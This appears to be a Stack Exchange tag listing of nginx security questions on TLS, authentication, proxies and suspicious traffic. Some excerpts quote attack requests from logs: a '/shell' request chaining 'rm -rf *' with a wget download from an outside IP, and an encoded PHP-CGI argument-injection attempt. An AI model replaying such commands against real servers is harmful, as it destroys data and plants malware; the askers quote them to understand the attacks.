Questions tagged [nginx]
nginx [engine x] is an HTTP and reverse proxy server, written by Igor Sysoev
140
questions
2
votes
1answer
52 views
Why request shell commands from nginx?
I was playing around with nginx and noticed that within 1-2 hours of putting it online, I got entries like this in my logs:
170.81.46.70 - - "GET /shell?cd+/tmp;rm+-rf+*;wget+ 45.14.224.220/jaws;...
0
votes
1answer
65 views
HTTP Basic Auth and CSRF
I would like to know if the Basic Authentication header for site A can be sent from site B when trying to access site A for non-GET requests (which would make the site vulnerable to CSRF attacks).
I ...
1
vote
0answers
40 views
Nginx with only TLS1.3 cipher suites [migrated]
I am trying to configure Nginx to use only TLS1.3 with 2 ciphers: TLS-AES-256-GCM-SHA384:TLS-AES-128-GCM-SHA256.
So, I tried this configuration:
ssl_protocols TLSv1.3;
ssl_ciphers TLS-AES-256-GCM-...
3
votes
2answers
245 views
User authentication: In HTTP Server vs. in Web Application
Management decided to switch the authentication-backend from LDAP to Kerberos as LDAP is deemed "obsolete and insecure". Also they want to switch from Apache to nginx for "performance ...
0
votes
0answers
31 views
Is there a way to limit cookies to certain hosts in HTTP?
Using Nginx, I hope to restrict the permissible hosts for cookies. My initial intention was to employ a Content Security Policy for this purpose, but I don't see an obvious way to do this via a CSP. ...
0
votes
0answers
22 views
Is `SecAction` order important for an OWASP ModSecurity config file?
Using a web server with Nginx + ModSecurity + OWASP ModSecurity Core Rules...
On the OWASP config file crs-setup.conf is the order of the config section SecAction important or can i order them ...
1
vote
1answer
67 views
Private ip address revealed by nginx, should I worry?
I run nikto on a server, let's say www.example.com and it says the following:
OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to / over HTTP/1.0. ...
0
votes
1answer
70 views
Why do we want a timeout on a server?
This question is quite general as I want to understand the (security) benefits of a 'timeout' in general.
For our Nginx proxy-server, we have been using HTTP/S timeouts where we came across the ...
0
votes
2answers
86 views
Prevent download of an angular website by unauthenticated users
I have an app using angular and when deployed to a server, everyone can ofc download the source codes, obfuscated or not.
Yet, I would like to prevent user that are not authenticated to see the ...
1
vote
1answer
46 views
On TLS-enabled nginx/httpd, is “ssl_verify_client optional_no_ca” disabling TLS's “CertificateVerify” checks?
I'm looking for an helping hand with my https nginx setup.
I require my application to be exposed through an nginx frontend, offloading TLS. Easy !
The thing is, I need to have Certificate-based ...
0
votes
2answers
68 views
Too much requests on the Nginx Server [closed]
I'm receiving a lot of requests like these
[server] zcat access*gz | grep 404 | awk '{print $1" "$7}' | sort | uniq -c | less
:
2 103.193.242.137 /MCLi.php
1 103.193.242.137 /Moxin.PHP
...
-1
votes
1answer
69 views
DH cipher suites and DH OpenSSL Generated
I need a openssl generated diffie-hellman params for work with ECDHE or DHE cipher suites on TLSv1.2 nginx server?
1
vote
2answers
107 views
PHP Local File Inclusion from URL; no param
The PHP code has a handleRoute($path) function that is triggered for URLs like server.com/routeme/a. Handle route has the follwing: if file_exists($path) then include $path.
The $path argument is /...
2
votes
1answer
557 views
Are these log messages in my nginx server evidence of an attempted attack?
My AWS Elastic Beanstalk server is often reporting Environment health has transitioned from Ok to Severe. 100.0 % of the requests are erroring with HTTP 4xx. This happens almost daily for a few ...
3
votes
2answers
125 views
Is storing files under a web server root unsafe if it is handled by PHP and blocked by the web server site configuration file?
Say you have a website which takes file uploads of a certain type and places them in a subdirectory (let's call it "videos") in the web root.
I have heard from various sources that trusting uploaded ...
4
votes
2answers
410 views
How can nginx run a file with jpg extension as a php file?
I have a follow up question on this answer about executing image files as php. The answer explains that nginx support virtual directories. One can run
www.something.com/blan.php/one/two/3
and one/...
3
votes
1answer
528 views
Extracting openssl pre-master secret from nginx
I have to store pre-master keys for all TLS connections due to regulator request. We are using nginx to terminate TLS.
I've read Extract pre-master keys from an OpenSSL application and especially ...
0
votes
0answers
95 views
How to read SlowHTTPTest range attack when Nginx is the server?
I'm running an application hosted on Firebase and did some tests using SlowHTTPTest. For SLOW HEADERS, SLOW BODY, and SLOW READ the output is quite similar, i.e. the service is available which makes ...
1
vote
1answer
195 views
Why is it okay to run NGiNX or Apache Web Server as root on port 80/443 and not your app directly?
Just like the title says, I would like to understand:
what are the implications of running a custom app (like node or flask) on port 80/443.
Is running a reverse proxy like Nginx mandatory from a ...
0
votes
0answers
44 views
Is it a security concern that nginx ingress controller in kubernetes exposes well known endpoints? (/healthz)
If one uses nignx ingress controller in a kubernetes cluster, it exposes something that is called a "default backend" that is used each time no internal routing is found. E.g. if one uses an IP in a ...
1
vote
1answer
109 views
URL rewrite spoofable
I am considering using URL rewrites in kubernetes nginx proxy to publish selected context paths in microservices which are run in a cluster running internal services. For example
https://public....
0
votes
0answers
183 views
what kind of attack is this
Im developing a website on test server and so when debugging some stuff I had to look in access log, this is a small chunk of what I saw:
37.99.49.203 - - [13/May/2019:17:51:34 +0200] "H\x1E\xF3qxZ\...
2
votes
0answers
267 views
Malicious PNG (html with png header)
I found following security notice on Django website:
Django’s media upload handling poses some vulnerabilities when that media is served in ways that do not follow security best practices. ...
50
votes
5answers
12k views
What exploit are these user agents trying to use?
I just looked at my user agent tracking page on my site (archived on Yandex) and I noticed these user agents. I believe they are an attempt to exploit my server (Nginx with PHP). The 1 in front of it ...
1
vote
1answer
141 views
Is my server under some kind of reconnaisance/attack?
Recently, I started up nginx on an Amazon EC2 instance. After a day, I started seeing these messages in my log. Some client keeps trying to call /add and /health.html on my server.
I don't have those ...
1
vote
1answer
431 views
Is it a security risk to run master process of nginx as root?
I'm using nginx (Port 8888) as a reverse proxy for my web server running over 8080. In the traditional way, nginx master process runs as root and spawns the child processes with user www-data. Is it ...
0
votes
2answers
186 views
Are my letsencrypt ssl ciphers strong enough?
I have these settings for my certbot certificate on my nginx virtual host.
Is this complete or secure/valid? someone mentioned something about unsecure ciphers v1.2 or something
## SSL
...
0
votes
2answers
284 views
Security best practises for my first ever Node, Mongodb, Nginx production app on a Ubuntu VPS
So as the title says I'm just deploying my first ever app in production.
Because I don't have experience, I was told to ask someone who knows this stuff.
So how should I ensure the best security for ...
1
vote
1answer
675 views
Nginx: mod-security rule for http slow DoS attack
The only related rule in mod-security for slow DoS is modsecurity_crs_11_slow_dos_protection, and it's for Apache only.
Is there a rule for Nginx?
1
vote
1answer
287 views
NGINX 444 response equivalent for Apache server
How can I configure Apache HTTPD server to send no response and close connection in case of DDoS or malicious request
3
votes
1answer
133 views
I'm moving my website to a new server, what implications does this have for my SSL certificate?
I run a website which I serve over https and https only (add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";)
The ssl certificate I bought came from namecheap.com, ...
1
vote
1answer
292 views
Suspiscious HTTP request to nginx server in server log, what is it?
I have an nginx server running an instance of and express/nodejs server.
I was going through the logs to see what was being requested, and I noticed a few normal attempts for common flaws in things ...
0
votes
1answer
1k views
Help on what to do with these suspicious logs
Just set up my first linode server this last Wednesday, and today I tried to take a look on the nginx access logs, and found this suspicious logs.
47.96.15.13 - - [28/Jul/2018:14:54:05 +0800] "GET /...
2
votes
1answer
153 views
Two certificates with HSTS on different ports?
Is it possible to set up Nginx in such way, that on the same domain it will serve on two different ports, two different valid certificates both with HSTS?
Certificates are from different CA and for ...
1
vote
2answers
1k views
Should we enable TLS on backend connection after reverse proxy? [duplicate]
I have a reverse proxy (e.g. nginx, nghttpx, haproxy) that proxies connection to a service running on the same physical server. I think the most common way to configure this setup is to enable TSL ...
0
votes
0answers
67 views
How to maintain sensible cipher list for a public webserver [duplicate]
I'm configuring nginx and am trying to find a cipher list that gives an A standard over at SSLlabs while also allowing common browsers to access the website.
I am not an expert and am asking this ...
7
votes
2answers
310 views
What are the potential vulnerabilities of allowing a large http body size?
With NGINX and PHP I am allowing 5GB files to be 'uploaded' to my server although they will not be downloaded unless they are 'legitimate' (that is for another question ;)). I was wondering is this is ...
3
votes
1answer
225 views
How to set basic defense on Nginx-CMS?
As an Information Security amateur I did all in my might to protect my Ubuntu-Nginx-CMS (WordPress) environment from BFAs, MITMs, and database injections.
sudo add-apt-repository ppa:certbot/certbot -...
6
votes
2answers
4k views
Turned on cgi.fix_pathinfo still “dangerous” in Nginx?
In this article in digitalocean.com Justin Ellingwood recommends to turn off cgi.fix_pathinfo:
Inside, we need to find a section that configures the cgi.fix_pathinfo
behavior. It will be ...
2
votes
1answer
557 views
s_client custom ciphersuite with nginx reverse proxy fails
I have compiled openssl 1.0.1u (yes, i know its old one) with my
custom ciphersuite (ECDHE-RSA-MYCIPHER-CBC-SHA) with openssl for a
research project; it has compiled and installed successfully.
When I ...
2
votes
2answers
601 views
How to integrate client certificates for upstream servers with nginx as reverse proxy?
For my private VPS, I am building a configuration for different web applications (Owncloud,...) which depends on a combination of different Docker containers. At the front, I would like to use an ...
0
votes
1answer
807 views
Some bot keeps posting this to my server
Some bot keeps posting strings like this to my server. What do they mean and what's the best way from preventing them?
RaxfkI/...
0
votes
2answers
184 views
My own simple web server + nginx as a reverse proxy
Say I've created my own web server from scratch. Very-very simple and vulnerable. I'm going to use it in production. Despite it being vulnerable, will it be feasible to run it with nginx and configure ...
1
vote
1answer
250 views
Wordpress site hack attempt
I found some thing upnormal in my nginx server log.
74.208.235.132 - - [06/Oct/2017:03:36:20 +0000] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%...
0
votes
1answer
814 views
Trying to do a chunked multipart post request, nginx and php both returns 400 error
I'm trying to use chunked protocol and multipart protocol in a POST request, like this
All new-line symbols are \r\n, e.g
POST http://127.0.0.1/print.php?a=1&b=2 HTTP/1.1
accept-language: *
...
0
votes
2answers
4k views
Directory traversal in a URL?
Scenario:
I have a webserver running nginx. I have my html files in /var/www/ and pictures in /var/www/pictures/
However, I also have some secret pictures in /var/www/pictures/secretpics/ which I ...
1
vote
1answer
641 views
Is using X-Real-IP as a way to check for localhost access safe?
I have an application listening on the port 5000 that can be accessed to the internet through nginx with this configuration:
upstream myapp {
server 127.0.0.1:5000;
}
server {
listen 80;
...
0
votes
1answer
131 views
Must one have SSL certificates for each domain, to use HTTPS? [duplicate]
I read in the following passage in this DigitalOcean article, concerning HTTP/2:
Even though HTTP/2 does not require encryption, developers of two most
popular browsers, Google Chrome and Mozilla ...
0
votes
1answer
4k views
CVE-2017-7529 - Exploit details? [closed]
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7529
Where can I find the exploit details for this CVE? Usually sites like exploit-db.com include the PoC exploit for a given vuln but I can't ...
1
vote
1answer
94 views
what does these unknown request_uri values against my nginx web server mean?
I built a web application with low traffic so far, after making some advertising I realized there are some suspicious requests against my server, this is what Loggly service shows me in panel:
Logs ...
